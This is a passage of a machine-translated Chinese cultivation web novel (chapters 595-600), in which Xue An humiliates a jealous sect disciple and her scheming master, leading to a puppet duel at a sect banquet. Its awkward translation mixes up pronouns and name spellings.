    "Not enough! Of course not enough, Liu Keke, I tell you, don''t assume that you look like a vixen, and put on a superior attitude. What I hate the most is you!" Lu Cailan said this in his eyes. It was full of shocking jealousy and resentment.


    Liu Keke trembled all over, just about to speak.


    Seeing Xue An, who had been standing silent on the steps, suddenly rushed to Liu Keke, raising his hand and slapped him in the face.


    Snapped!


    After a very crisp sound, this Lu Cailan was directly taken away, and even rolled several times in the air before landing crashing.


    Then Xue An stood with his hand in hand, and said lightly: "It''s such a coincidence, I also hate you!"

 Chapter 595： How can I hit you?

    hiss.


    I don''t know when, many inner disciples onlookers have gathered at the door.


    After seeing this scene, these people all took a breath.


    Because of this slap fan... really cruel!


    Lu Cailan was even slapped. It took a long time before she woke up. Then she clutched her face swollen into a pig''s head and screamed, "You dare to hit me?"


    Xue An looked indifferent, "It seems to be strange, what can I do if I hit you?"


    Lu Cailan was almost mad, and there was only one thought in her mind, and that was to put Xue An to death.


    So in an instant, her aura broke out completely, and she was a half-step longevity cultivation base.


    This also surprised Liu Keke.


    As expected, Lu Cailan didn''t lie, her cultivation base was diligent.


    "I''m going to kill you!" Lu Cailan''s eyes were red, and he rushed up with an angry roar.


    After half a long life, she shot with anger, and the momentum was quite shocking.


    But Xue An didn''t even move, until she rushed closer, then raised her other hand and slapped her past with lightning speed.


    Snapped!


    After a slap in the face that was crisper than just now, Lu Cailan was slapped and spit out a big mouthful of blood in the air.


    After waiting for an easy landing, looking at Lu Cailan again, it was extremely miserable.


    Half of his face had just been swollen into a pig''s head, and now even his head was swollen, and his mouth full of teeth were fanned out, and it looked like an old lady when he shut up.


    Xue An smiled with satisfaction, "Well, it''s symmetrical now!"


    No one dared to speak.


    Some timid already wanted to sneak away.


    Because Lu Cailan is usually very arrogant and domineering, this time he was beaten like this again. This is obviously an endless situation!


    really.


    Seeing Lu Cailan staring at Xue An incomparably bitterly, he roared vaguely: "I will smash you into pieces!"


    As she said, a huge golden puppet slowly rose from behind her.


    All the onlookers were all discolored by it.


    "Golden-armored puppet! Senior Sister Deer is really murderous! Actually displayed all the golden-armored puppets!"


    "Yes, this Chinese man is probably going to die!"


    "Kill him!" Lu Cailan ordered.


    This golden armored puppet came straight to Xue An.


    Xue An just smiled faintly at this, "Just this kind of stuff... also worthy of being called a puppet?"


    With that said, Xue An rushed forward, and when he was about to rush to the puppet, Xue An suddenly jumped up, with his left foot, his knee hit the head of the ten-foot-high golden puppet.


    boom!


    After a loud noise.


    This golden armored puppet shone with golden light, and after a mournful cry, the whole body made a crackling sound, and a series of fine cracks spread all over the body, and finally crashed to the ground, throwing up smoke and dust on the ground.


    Everyone looked silly.


    Actually resisted the puppet with a physical body, and won?


    Lu Cailan was also dumbfounded, "This... how is this possible?"


    Xue An fell and squatted lazily on the ruins of the golden armored puppet, yawning boredly.


    "Is that enough? Is there anything new? Anyway, I am idle today, so I will play with you!"


    Lu Cailan''s heart was filled with anger at the moment.


    What was shocked was how this Chinese man with no cultivation level broke his puppet?


    The anger is because she has never suffered such a loss.


    Lu Cailan has existed like a lady of the sky since she was a child, and it was not until she entered the puppet fairy sect to practice that she met Liu Keke who was far superior to her in both appearance and talent.


    This made Lu Cailan simply unacceptable, and even the jealous would go crazy.


    She can''t stand someone better than herself.


    Later, she found a way to cling to the relationship between the second elder and successfully became the disciple of the second elder, and then began to frantically suppress Liu Keke.


    This makes her feel very fulfilled.


    This time is no exception.


    When she heard that Liu Keke, who had traveled abroad, had returned and brought a few people with her, she immediately came over, preparing to ridicule.


    But she never dreamed that this Chinese man with no cultivation skills would dare to beat herself?


    And also smashed the puppet that Master gave her to pieces.


    "Who are you?" Lu Cailan asked in a vague voice, the light in his eyes was almost eating people.


    Xue Anhao played with her nails in his spare time, and said indifferently, "Didn''t Miss Liu say that, I am her senior!"


    Lu Cailan looked at Liu Keke and said savagely: "Okay! Very good! Liu Keke, you actually colluded with outsiders to make trouble in Xianzong. I will tell Master what happened today! You wait! "


    After all, Lu Cailan turned and left.


    No way, no way if you don''t leave, your face is fanned into such a virtue, your teeth are gone, and it''s embarrassing to stay here again.


    But at this moment Xue An said calmly: "Wait!"


    Lu Cailan stopped, turned around and stared at Xue An with swollen eyes that were only slit.


    "What? What else do you want to do?"


    Xue An smiled slightly, "Don''t be nervous, I won''t hit you, just..."


    Xue An kicked the wreckage of the puppet, "You have to get rid of this rubbish!"


    Lu Cailan was going crazy, but in the end he obediently carried the wreckage of the puppet away.


    When she was gone, those who watched the excitement looked at each other, and then disappeared.


    Everyone knows that this matter is by no means finished, this Lu Cailan will definitely retaliate wildly, so no one dares to stay here too much for fear of being implicated.


    Xue An looked at Liu Keke who was pale, and said lightly: "Are you... scared?"


    Liu Keke slowly lowered his head, "Senior, I am not afraid of this Lu Cailan, but her master, the second elder..."


    Liu Keke''s meaning is obvious.


    Lu Cailan was branded like this, and the second elder would never give up.


    Xue An just smiled when he heard the words, and then sighed softly, "Did you be targeted by all kinds of targets because you refused to submit to him?"


    Hearing Xue An''s words, Liu Keke trembled all over and raised his head to look at Xue An in disbelief.


    "Don''t look at me so surprised! This Lu Cailan''s frivolous behavior is obviously no longer the perfect body, combined with her stupid talent, but can repeatedly break through, the reason is natural!"


    Xue An''s words made Liu Keke''s eyes redden.


    Because she remembered scenes that she didn''t want to recall at all.


    The second elder at the time was very kind to him This made Liu Keke very grateful.


    But it didn''t take long to expect that the second elder with real power in his hands was exposed, harassing Liu Keke in various ways, and coercing her into submission.


    Liu Keke resolutely refused, which angered the second elder.


    In the end, he chose Lu Cailan, who was at odds with Liu Keke, as his apprentice, and allowed her to target Liu Keke in various ways.


    Of course, these are the secrets Liu Keke buried deep in his heart, and he has never talked about it to outsiders. After all, this has to be said, and it is also a huge blow to the reputation of Puppet Xianzong.


    Unexpectedly, Xue An could guess it with just a few words.


    Xue An looked at Liu Keke, whose eyes were gradually reddening, and smiled faintly, "Well, let him pass the past. If this second elder dares to retaliate, then I will teach him to be a man!"


    In his plain tone, he was full of strong confidence.


    Liu Keke took a peek at Xue An''s profile, and his heart gradually settled down.

 Chapter 596： Feast of Puppet Xianzong

    But to everyone''s expectations, the next few days remained calm, and no one retaliated.


    This surprises many people who are going to watch the jokes.


    Could it be that Lu Cailan suddenly changed his sex?


    Otherwise, why hasn''t any action been taken up to now?


    Even Liu Keke was very surprised by this.


    It stands to reason that Lu Cailan suffered such a big loss this time, and after returning home, he will definitely be impatient to tell the truth and let the second elder deal with him.


    But this time there was no movement, which is really unreasonable.


    Only Xue An feels nothing. Every day, he does not spend tea in the house leisurely or wandering around here with great interest.


    Many inner disciples knew that he slapped Lu Cailan with two palms that day, so they were all in awe.


    You must know that Lu Cailan''s popularity among this puppet fairy sect can be said to be extremely poor, but because her master holds the real power and cultivation base is also high, no one dares to provoke it.


    But this does not prevent many people from hating her secretly.


    Xue An''s brutal beating that day gave a lot of people a breath of anger, so no matter where he went, someone would greet him secretly.


    And some people kindly urge him to leave here.


    After all, no one knows what kind of medicine the second elder, who has always been domineering, suddenly fell silent this time.


    Xue An just smiled at this, and didn''t care.


    On this day, Xue An was cooking tea and wine under the veranda.


    Liu Keke and Lian Yunting and Lian Yunluo''s three daughters sat next to each other, admiring Xue An''s skillful and heart-to-heart tea making techniques.


    After the tea is cooked, a refreshing aroma diffuses, which is refreshing.


    Xue An poured three cups.


    Liu Keke and the others picked it up, and after taking a sip, they all lit up.


    "Good smell!"


    "Master''s tea art is great!"


    Xue An smiled slightly, then poured a glass of hot wine and drank slowly.


    This wine is the self-preserved wine of Puppet Xianzong, and the taste is very sweet.


    At this moment, a paper crane flew in, flew around the crowd, and landed on Liu Keke''s hand.


    Liu Keke stunned slightly, then his expression became solemn, "This is the paper crane used by the sect to convey news!"


    After speaking, he opened the letterhead.


    After reading it, Liu Keke''s complexion gradually sank.


    "Sister Liu, what''s the matter?" Lian Yunluo asked.


    Liu Keke took a deep breath and smiled bitterly: "It was a letter from the second elder. It told me that after three days, the sect general will hold a feast, and all the masters of the sect will participate, and I will also Present as a true disciple!"


    "At the same time...this letterhead specifically emphasizes that let me take everyone to this feast!"


    After all, Liu Keke hesitated, "Senior, what should I do?"


    Xue An smiled, then filled a glass of wine, and said indifferently: "Since the invitation has been made, let''s naturally go and see the excitement! Otherwise, wouldn''t it have failed your second elder''s heart?"


    And on the top of the mountain where the clouds and mists persist throughout the year, several magnificent buildings stand here.


    Except for the tall, slender, black tower in the middle, the rest are the residences of the head of the puppet fairy sect and the elders.


    now.


    In a magnificent hall, Lu Cailan looked at the middle-aged man sitting on the main seat impatiently.


    At this moment, not only has the wound on her face healed as before, even her mouth and teeth that had been knocked out have grown back again, obviously using some kind of elixir and secret medicine.


    "Master, does it have to be three days before you can do it?"


    The middle-aged man has a cold and majestic look on his facial features. He is obviously a person who has been in a high position for a long time, but the silver evil light from time to time in his eyes makes his temperament a little wretched.


    This is the real power figure in charge of Puppet Xianzong for more than 20 years, the second elder Wei Chi Xing.


    Yu Chixing smiled when he heard the words, "Good disciples, revenge is not in a hurry, let them live three more days!"


    Lu Cailan gritted her teeth and said, "Master, I really can''t wait for a quarter of an hour! I just want to peel off the skin of Liu Keke''s hooves, and then cut the Chinese man who beat me into small pieces. , To dispel my hatred."


    Yu Chixing was noncommittal, reaching out and pointing at Lu Cailan, "Good apprentice, stay close to the master! Let the teacher see if your injury is good!"


    Lu Cailan immediately put on a flattering smile, and walked over swayingly.


    "Good apprentice, the longer it gets, the better it becomes!"


    Lu Cailan smiled sweetly, "It''s not the master''s contribution. If it weren''t for the elixir that Master gave to the disciple, the disciple wouldn''t be able to recover so quickly!"


    Then the clouds covered the mist until a quarter of an hour later.


    Yu Chixing said contentedly: "Fool, do you know why the teacher didn''t take you directly to avenge you, but waited until the banquet three days later?"


    "do not know!"


    "Hehe, although this Liu Keke is not liked by the head, he is a true disciple after all! If it is done too much, it will definitely arouse public anger!"


    "It just happens that this time the head of the gate is going to hold a banquet to invite the world''s masters. I went to the boat and invited Liu Coco. When the banquet, you will directly duel this Liu Coco in front of the world''s masters. Even if you kill her, the head and others can''t say anything."


    Hearing Yu Chixing''s explanation, Lu Cailan suddenly realized, and immediately said a little depressed.


    "But with my strength, if I really fight Liu Keke, I can''t beat her at all!"


    "Hehe, of course not with you! But isn''t there a master and me!" As he said, Yu Chixing stretched out his hand and took out a round bead.


    "This is a puppet that was recently refined for the teacher. It is extremely strong and powerful! It is absolutely nothing to deal with the tattered statue of Liu Keke!"


    Lu Cailan''s eyes lit up and kissed Wei Chixing excitedly, "Thank you, Master!"


    He said he would reach out to pick it up.


    Yu Chixing laughed and closed his hands again.


    "Master, you..."


    "Do you want to take it like this?" Yu Chi squeezed his eyes eagerly.


    Lu Cailan''s face turned red and then she smiled, and shouted very sweetly: "Master, you are so disgusting!"


    In the end, Lu Cailan got this new puppet as he wished, and began to practice endlessly.


    Finally, in the evening of the next day, he sent and received this puppet to his heart, and his confidence could not help but greatly increased.


    Haha, Liu Keke, and that **** Chinese, this time, I want to let you know how awesome! Lu Cailan thought with murderous intent.


    And this third day finally arrived.


    Since the morning, the streamer in the sky has not been interrupted.


    The entire puppet sect was cleaned up with a new look, and even the clouds and mists that had been surrounding the top of the mountain all year round opened a path.


    And Liu Keke was also ready at this time, "Senior, do you want to go?"


    Xue An looked up at these rumbling streamers and smiled slightly.


    "set off!"

 Chapter 597： Garan Protector

    Golden Temple on the top of the mountain.


    The second elder Wei Chi Xing led a group of disciples standing on the square in front of the main hall to welcome visitors from all directions.


    The streamers stopped here one after another, and then fell to the ground.


    "Second Elder!"


    "Brother Yuchi!"


    These greetings one after another.


    Yu Chixing smiled and nodded frequently.


    "Everyone, please take a rest in the main hall, our head will be there later!"


    Disciples have long been leading the way, leading these visitors into the hall.


    Puppet Xianzong is also considered a powerful party in this land of Zhongzhou. This time the feast is held, all the forces will naturally show some face, even if they cannot come, they will send their disciples to congratulate.


    Therefore, the visitors are like a cloud at a time, and it is very lively.


    At this moment, I saw a blue lotus flying across the sky. Although it did not fall, the man��s laughter was heard.


    "When did the second master start this welcoming activity?"


    When Yu Chixing saw the visitor, a look of respect appeared on his face, and he stepped forward to bow his hands.


    "Guardian Wan is joking, what kind of second master am I!"


    At this time, the lotus landed, and after Guanghua dissipated, a man and a woman appeared.


    The man is dressed in Tsing Yi, has handsome features, and has an extraordinary temperament.


    The woman is only fifteen or sixteen years old, just after the age of ����, with blue hair and beautiful appearance, but the most striking thing is the red-like cinnabar beauty mole between the eyebrows of this girl, which gives this girl a little more face. Divide the Buddha nature.


    "It''s Wan Chengyi of the Garan Sect. That woman should be the little saint of the Garan Sect, Shan Ruoling! Such a big figure actually came in person. The scale of this event is not small!" Someone commented.


    Wan Chengyi smiled slightly at the moment, "Brother Yuchi doesn''t need to be modest. Who knows that the head of the Puppet Xianzong Cang is obsessed with cultivation and often retreats. Isn''t this huge sect managed by Brother Yuchi in one hand?"


    This may seem flattering, but it''s a bit embarrassing.


    Yu Chixing felt a little uncomfortable in his heart, but Wan Chengyi was a distinguished guest, so he couldn''t say anything. He had to hide it with a haha, and then ordered his disciples to lead the two masters and apprentices into the hall.


    After they left, Yu Chixing''s expression became gloomy.


    "Master! This Wanhu has a sting in French!" Lu Cailan said.


    Yu Chixing sneered, "Wan Chengyi is famous for being nosy, so ignore him!"


    At this time, the two masters and apprentices Wan Chengyi, who had entered the hall, were also saying similar things.


    "Master, you seem to be very prejudiced against this second elder of the puppet door!" Shan Ruoling whispered.


    Wan Chengyi sat next to the door in the hall, shook his head slightly, and then looked at the back of Wei Chi Xing in the distance, and said lightly: "This Wei Chi Xing has a very bad reputation in the world of repair, especially It''s you, be careful of him, and it''s best to stay away from him! After all, even your apprentice can start, what''s the difference with a beast?"


    Almost everyone knew about the incident between Yu Chixing and his female apprentice, but Cang Yayun, the head of Puppet Xianzong who was fond of retreat, was still kept in the dark.


    Shan Ruoling heard that her cheeks were slightly red, and nodded lightly, "Tui''er knows!"


    Then she quietly scanned the audience, trying to find the familiar figure.


    But it disappointed her.


    That guy Liu Keke, why hasn''t he appeared at this time? Could it be that you are not in your own teacher?


    Shan Ruoling thought with some doubts in his mind.


    At this moment, there was a tumult outside.


    The two masters and apprentices Wan Chengyi turned to look around.


    I saw a woman with long hair reaching her waist and a charming face appeared on the square.


    Shan Ruoling was overjoyed, it was cocoa!


    Just about to get up to greet him, but startled again.


    Hey, who are those people next to her?


    Especially the man, handsome, but very lazy.


    Moreover, with black hair and black eyes, he is actually a Chinese!


    Still a Chinese with no cultivation.


    Could this man have something to do with Coco? Otherwise, how could a Chinese with no cultivation base appear here?


    Thinking of this, Shan Ruoling felt sour in his heart.


    Wan Chengyi glanced at Lian Yunting in surprise.


    Because he could see at a glance that this woman actually possesses the power of four phenomena.


    The master and apprentice are thinking about each other.


    Xue An, Liu Keke and others have already arrived in front of the hall.


    "I''ve seen...Second Elder!" Liu Keke hesitated a little, and said with a bow.


    However, Yu Chixing''s face was full of charitable smiles from the elders of the teacher''s school.


    Liu Keke stood up straight, looking at Yu Chixing with some surprise.


    It is strange that the second master of myself has never been so pleasant to myself.


    At this moment, Yu Chixing looked at Xue An, who was standing aside.


    When I saw that Xue An did not have any fluctuations in his cultivation level, a look of disdain flashed deep in his eyes, but he still smiled and said, "This must be the senior of Coco! It''s really a hero. Boy! A talented person!"


    The last list of talents is to emphasize the tone.


    Liu Coco''s complexion changed.


    Xue An smiled slightly, "Heroes dare not say when they are young, but they are better than some people who are old and disrespectful! Am I right? Cocoa!"


    Liu Keke nodded without hesitation.


    Yu Chixing''s expression condensed, but suddenly he laughed again.


    "Oh, since they are Coco''s friends, they are also the distinguished guests at the door today. Coco, don''t hesitate to lead these people into the hall!"


    Xue An was noncommittal, his eyes swept over Lu Cailan, who had been standing behind Yu Chixing, a light smile appeared on the corner of his mouth, and then he walked away.


    Lu Cailan couldn''t help shaking when Xue An''s gaze swept past her. When she saw the smile at the corner of his mouth, she felt cold all over and her face hurt.


    It wasn''t until Xue An left that she gradually returned to normal, and then looked at the backs of Xue An and others very resentfully.


    "Master!" Lu Cailan said bitterly.


    Yu Chixing waved his hand with a gloomy look, and his eyes were full of anger, "Don''t worry, none of them can run away for a while!"


    After entering the hall, Shan Ruoling hurriedly stood up and waved, "Coco, here!"


    Liu Keke turned around to see, his expression was also happy, and then he whispered: "Senior, this is a friend of mine. It is the little saint Shan Ruoling of the Garan Sect. The one sitting over there is her master, Garan''s protector. Cheng Yi!"


    Xue An nodded slightly.


    Then Liu Keke walked over, "I have seen Guardian Wan!"


    Wan Chengyi nodded in greeting, but his eyes kept rolling on Lian Yunting''s body, and the more he looked at it, the more shocked he felt.


    What a powerful force of the Four Elephants But in this world, apart from the Galan Song Daojue of the Garan Sect, there seems to be no school that can cultivate the force of the Four Elephants!


    "Coco, who is this person?" Shan Ruoling pulled Liu Coco aside and said some long-awaited reunion, then pointed at Xue An and asked quietly.


    "This is my senior! A Chinese expert!" Liu Keke said.


    "A Chinese expert?" Shan Ruoling was full of disbelief, "Is he an expert without a cultivation base?"


    When Liu Keke was waiting to explain, a figure suddenly appeared on the high platform of the main hall.


    She is a middle-aged woman with a dignified appearance.


    Seeing this woman, all the guests in the hall and all the disciples of Puppet Xianzong stood up.


    "I have seen the Cang Sect!"


    It was Cang Yayun, the head of the Puppet Xianzong who came.

 Chapter 598： Banquet duel

    With the appearance of Cang Yayun, a powerful aura like a stormy wave swept across the audience, making everyone disillusioned.


    Then Cang Yayun looked around the audience and smiled faintly, "I am very happy that you can come to my puppet Xianzong as a guest. Today, I would like to talk to you, not drunk or return!"


    Her words caused a commotion from below.


    "Cang Sect is polite!"


    "The Cang Sect is really bold!"


    Such flattering voices one after another, it is really lively.


    When Wan Chengyi saw this, he sighed, "This retreat madman is really getting stronger and stronger. This momentum is almost the same even if there is no breakthrough!"


    Only Xue stood quietly in the distance, with a faint smile on his face, not knowing what he was thinking.


    The banquet officially began.


    High-level officials from all sects gathered to have a drink and talk, and the scene was naturally very lively.


    As for the younger generation of disciples, they gathered together in twos and threes, talking about the progress of cultivation and various interesting things.


    On such occasions, there will naturally be many men who lack women in their own sects or even men of monk sects, hoping to find a younger sister from other sects they like.


    Although cultivators rarely get married, is it good to be a Taoist couple!


    As a result, Liu Keke and Shan Ruoling naturally attracted a lot of attention.


    Among them, Liu Keke is the most eye-catching.


    After all, compared with the holy face of Shan Ruoling, Liu Keke''s makeup is obviously more charming.


    Seeing this scene, Lu Cailan''s jealous eyes turned red in the distance, and she couldn''t help but say to Yu Chixing: "Master, when will you do it? I can''t wait!"


    Yu Chixing smiled coldly, "Don''t worry, the show just started, let them be arrogant for a while."


    At this time, Cang Yayun came to Wan Chengyi''s table with the wine glass.


    "It''s really an honor for Yayun to be here!" Cang Yayun smiled and toasted.


    Wan Chengyi stood up and laughed: "Cangzhangmen''s magical skill is about to be accomplished. I will naturally come and disturb a cup!"


    After drinking the wine, Cang Yayun looked at Shan Ruoling on the side, and said lightly: "Is this your disciple?"


    Wan Chengyi nodded.


    "Sure enough, Zhong Ling has a rare talent!" Cang Yayun praised, but noticed that Liu Keke standing behind Shan Ruoling frowned insignificantly.


    "Cocoa, will you be here?"


    Before Liu Keke could speak, Shan Ruoling preemptively said, "Senior head, Coco is even making friends with me. We are talking here!"


    "A good friend?" Cang Yayun''s expression condensed.


    Liu Keke was already bowing and saluting at this time, "Disciple Liu Keke, I have seen the head! I have indeed known Ruoling for a long time!"


    But at this moment, Yu Chixing leaned over and said with a smile: "Head, Cocoa can be said to be very extensive. Even when you were in retreat, she didn''t forget to travel down the mountain, oh, yes! Bring a few back. What about my friends!"


    Cang Yayun listened non-committal, but her eyes gradually cooled.


    "What about this?"


    Liu Keke shuddered slightly and did not dare to look up, "Go back to the head, it is true! But these are my friends, and there is no malice in bringing them up the mountain!"


    Cang Yayun''s icy gaze swept across Xue An and the others not far away. When he noticed that Xue An was a Chinese man with no cultivation, there was a slight disdain in his gaze.


    "Since you are a member of the Xianzong family, you should not make friends with these ordinary people privately! Do you understand this rule?"


    "Yes! But..." Liu Keke just wanted to explain.


    Lu Cailan winked behind Yuchi.


    Upon seeing this, Lu Cailan immediately took a few steps forward, and then knelt down with a plop.


    "Head, please call the shots for me!"


    This scene immediately calmed the surroundings.


    Cang Yayun was startled slightly, and then looked at Yu Chixing with an interrogative gaze. What did it mean in front of so many masters of the sect?


    Yu Chixing sighed with a deep expression, "Head, I have always wanted to tell you something, but I don''t know how to say it. Since Cai Lan is kneeling, let her tell you!"


    I saw Lu Cailan''s face full of grievances, and she said in tears: "Master, during your retreat, this Liu Keke took someone up the mountain privately. I kindly went to inquire, but I didn''t expect..."


    "This Liu Keke is quite unreasonable, and when I was unprepared, he beat me violently. If it weren''t for my master''s rescue, I might have been beaten to death by this Liu Keke! Please be the master!"


    This reversal of black and white made Liu Coke''s hands and feet cold, and he was about to explain.


    Yu Chixing sighed in sorrow, "Headmaster, all of our sect disciples have seen this, Cai Lan didn''t lie! This Liu Keke, really did a little too much!"


    Cang Yayun''s face looked like frost, staring at Liu Keke, "What Cai Lan said, but the truth?"


    "Head, I..."


    Lu Cailan jumped up from the ground at this time, and said with a murderous face: "Head, I said this is not for you to punish her, I just want to ask you for one thing!"


    "What''s the matter?"


    "I want to fight her!" Lu Cailan gritted her teeth.


    duel?


    The people around were all surprised.


    Because once a duel, it is an endless game.


    At this time, Lu Cailan continued: "The head, since I was beaten by her, the face I lost will naturally be recovered from her! If I lose, it''s okay to die! If she loses, don''t blame me. Cruel and cruel! I still hope that the head will be gracious!"


    Cang Yayun hesitated for a moment, and couldn''t help looking at Liu Keke.


    Although she didn''t like this fox-beautiful disciple, but after all, it was also the true inheritance of the inner door of the puppet sect. Wouldn''t it be ridiculed if you casually fight?


    Unexpectedly, Liu Keke nodded his head pale at this time, "Head, since this is the case, the disciple is willing to fight her!"


    Both parties agreed, and Cang Yayun had no reason to refuse, so she nodded.


    "Good! Let''s fight outside!"


    At this time, all the people drinking in the house put down their glasses.


    But Liu Keke quietly looked at Xue An not far away, with some panic in his eyes.


    The reason why she agreed to ~www.novelhall.com just now was entirely because Xue An spoke in her ear with divine mind, agreeing to a duel.


    But Liu Ke is not a fool. He naturally understands that Lu Cailan dared to demand a duel with such a certainty. He must have some killer skill.


    So I couldn''t help feeling a little flustered.


    Xue An just smiled at her and nodded gently.


    Somehow, after seeing Xue An''s smile, Liu Keke suddenly calmed down, then took a deep breath, turned and walked outside.


    Lu Cailan consciously succeeded in her strategy, and was even more proud of her. After looking at each other with Yu Chixing, he also walked out.


    On the square, the two stood still.


    The onlookers watched from the high platform in front of the main hall.


    Lu Cailan sneered, "Liu Keke, I admire your courage, but today, you will definitely die!"


    After that, the puppet that Yu Chixing bestowed on her appeared behind her.

 Chapter 599： Mechanical heart

    Seeing this puppet, the many disciples of the puppet sect all exclaimed.


    "It''s a high-level puppet! It''s a high-level puppet much stronger than the golden armored puppet that Senior Sister Deer used to!"


    "No wonder you dare to ask for a duel, Senior Sister Lu is clearly trying to kill Senior Sister Liu!"


    Amidst these discussions, many people looked at Liu Keke with sympathy and regret.


    At this moment, Lu Cailan laughed arrogantly, "Liu Keke, how about your tattered statue? Hasn''t it come out to die?"


    After hearing Lu Cailan''s clamor, Liu Keke gritted his teeth, and then displayed his mechanical puppet!


    As soon as the two huge puppets met each other, the high-level puppet rushed forward, blasting the mechanical puppet back more than ten steps with one punch, before it could be stopped.


    Lu Cailan laughed frantically, "Kill him, and crush this tattered statue with this woman!"


    Such arrogant words made many people frowned slightly.


    But this is a duel. Once you enter the arena, no one else can interfere, so you can only watch.


    Shan Ruoling watched the situation in the court nervously, clenching his hands tightly.


    Cocoa, you must not have an accident!


    Sisters Lian Yunting and Lian Yunluo are also very nervous at the moment.


    "Master..." Lian Yunting said softly.


    Xue An just hugged his shoulders and smiled faintly, "Don''t worry, watch first."


    After hearing Lu Cailan''s instructions, the high-ranking puppet came straight to Liu Keke, just about to throw a fist.


    The mechanical puppet rushed over, too late to defend and counterattack, so he directly used his body as a shield and firmly protected Liu Keke under him.


    boom.


    After a loud noise.


    The entire body of this mechanical puppet was smashed by three points, and the flames burning in his eyes became much dim.


    But even so, the mechanical puppet gently held Liu Keke with his hand, and then rolled on the spot, avoiding the high-level puppet''s second blow.


    But the reason why this high-ranking puppet made so many disciples exclaimed was because of its powerful lethality.


    So before the mechanical puppet got up from the ground, the high-level puppet had already rushed forward and kicked the mechanical puppet on the shoulder.


    There was a crisp sound.


    One of the mechanical puppet''s arms was kicked to pieces, revealing the sparks and parts gleaming inside.


    The mechanical puppet roared bitterly, and even then, he did not give up Liu Keke in his hand, but instead slammed the high-level puppet''s ankle with a hammer.


    But after this high-ranking puppet succeeded in hitting it, it had already retreated, and this head hammer did not touch it at all.


    So far, but two face each other.


    Liu Keke''s mechanical puppet lost an arm, but Lu Cailan''s high-level puppet was unscathed.


    Many people who cared about Liu Keke felt tight for it.


    And Liu Keke had already broken free from the mechanical puppet''s hands at this time, stroking the broken arm of the mechanical puppet with tears in his eyes, "Big guy, can you still hold it?"


    Of course the mechanical puppet couldn''t speak, he just stood up swayingly and stared at the opponent''s enemy with dim eyes.


    Lu Cailan was already going crazy at this time, "Okay! Slowly torture them like this! Then crush them a little bit!"


    The high-ranking puppet rushed up again, this time it was faster, although it was a giant dozens of feet tall, it was impossible to see its moves at all.


    The reaction of the mechanical puppet was obviously slower than that, and it could only be exhausted to deal with the attack, and its body shape retreated again and again.


    at last.


    Unable to dodge the mechanical puppet, the high-level puppet inserted a finger into his eye socket, and then pulled it out.


    A group of dim light was buckled out.


    The mechanical puppet trembled in pain and staggered back a few steps, leaving only a dark socket in one eye.


    Liu Keke burst into tears, "Big guy, don''t hold on! You are not its opponent, give up!"


    With that said, Liu Keke turned to look at Lu Cailan in the distance, his face pale, and he trembled: "I lost, you kill me, but please let go of my puppet!"


    Lu Cailan sneered after hearing the words, "Tsk tsk, it''s really touching friendship! Okay, now kneel and give up, I will let you go puppet! How?"


    This sentence made the audience quiet.


    Everyone''s eyes focused on Liu Keke.


    Shan Ruoling was furious and said to his master: "Master, this Lu Cailan deceives people too much, can you please save Cocoa?"


    Wan Chengyi shook his head and sighed, "It''s late! As soon as you enter the duel, life or death depends on your victory or defeat! If Liu Keke loses, then others just want to help but can''t help! And I wonder why this Liu Keke suddenly agreed Where''s the duel?"


    Shan Ruoling heard this with tears in his eyes, staring at Liu Keke''s thin back in the field, wishing to rush off the field to rescue her now.


    At this time, Xue An, who had been standing not far from her, said calmly: "Do you feel the pain of humiliation? But only in this way can you begin to transform!"


    Hearing this, Shan Ruoling turned his head and looked very angrily. When he saw that it was the Chinese man, he couldn''t help groaning.


    She thought Xue An was talking coldly, and she couldn''t help but disdain.


    Alas, Coco treats you as a predecessor. He didn''t expect that at this critical moment of life and death, not only did you not help, but you were still talking nonsense.


    At this moment, I heard a low exclamation from the audience.


    Shan Ruoling hurriedly turned his head to look, and saw Liu Keke slowly bend his knees, and finally knelt down in the dust.


    This kneeling caused many Puppet Sect disciples who respected Liu Keke to bow their heads.


    Shan Ruoling couldn''t help but burst into tears.


    But Lu Cailan was so happy.


    "Very good! Liu Keke, you are quite familiar!"


    Liu Keke''s face was dead white, silent, and his once bright eyes were completely dimmed and empty.


    "Kill her!" Lu Cailan excitedly ordered.


    This high-level puppet heard the words, took a step forward, and threw his fist.


    With this punch, Liu Keco will definitely be smashed into flesh.


    At this moment, the mechanical puppet lost one arm and one purpose but didn''t know when it had already rushed over, and tried his best to punch the high-level puppet.


    It''s just that his strength can''t keep up with this high-level puppet.


    So after the bang.


    The mechanical puppet was flew out by a sudden shock. After it fell on the ground, it was no longer able to get up. He could only lift his head vigorously and watched the owner kneeling on the ground in the distance. The flames in his remaining eyes gradually began to extinguish.


    At this moment, Xue An, who had been standing on the steps, slowly raised his head to look at the sky, and then said lightly.


    "Liu Keke do you feel it?"


    The sound was not loud, but it spread throughout the audience.


    Liu Keke shocked all over and slowly raised his head.


    Xue An looked down at her in the field, and said coldly: "I told you that in order to play the true strength of this puppet, you need to feel the mechanical heart! Now I ask you, can you feel it? "


    Liu Keke''s hollow eyes slowly revealed a look, and then turned his head to look at the mechanical puppet who was dying and could not stand but still refused to lie down.


    After a while, she nodded slowly and whispered: "I feel it!"


    "Then tell me! What is it?" Xue An asked.


    Liu Keke''s pale face showed an unprecedented perseverance, and his eyes seemed to have flames burning.


    Then slowly stood up from the ground and said every word: "Yes...no! Take it! Lose!"

 Chapter 600： God-level puppet

    Following Liu Keke''s voice, the dying mechanical puppet flashed light, and the scars all over his body began to heal quickly.


    The broken arm is even more radiant. Various parts are quickly transformed and assembled. In the blink of an eye, the broken arm returns to its original state.


    Seeing this scene, Cang Yayun, who was originally indifferent, stood up suddenly and shouted in disbelief, "How is this possible?"


    The voice became a little trembling because of excessive surprise.


    As for Yu Chixing, he was already stupid, staring blankly at everything below.


    Because only they can understand.


    What does it mean to be a self-repairing puppet.


    That was a god-level puppet that only existed in the ancient times.


    At this time, Lu Cailan, who was already full of arrogance, looked suspicious.


    But the domineering nature and the jealousy of Liu Keke made her sneer again.


    "Hehe, it''s quite bluffing, do you really think that just yelling can solve any problems? I told you today, it is pure wishful thinking! Kill them immediately!" Lu Cailan ordered in a deep voice.


    She has now lost her interest in playing with Liu Keke and just wants to kill her as soon as possible.


    The high-level puppet rushed directly to Liu Keke upon hearing this, because what Lu Cailan wanted was to kill him immediately, so he exhausted all his strength as soon as he shot.


    The speed was so fast that he even dragged out many phantoms behind him.


    Liu Keke stood quietly, his expression was neither sad nor happy, as if he regarded this high-level puppet as nothing.


    Until he rushed to the front and raised his fist to bang.


    Liu Keke raised his head and stared at this high-level puppet coldly, and said lightly: "Kill it!"


    Give an order.


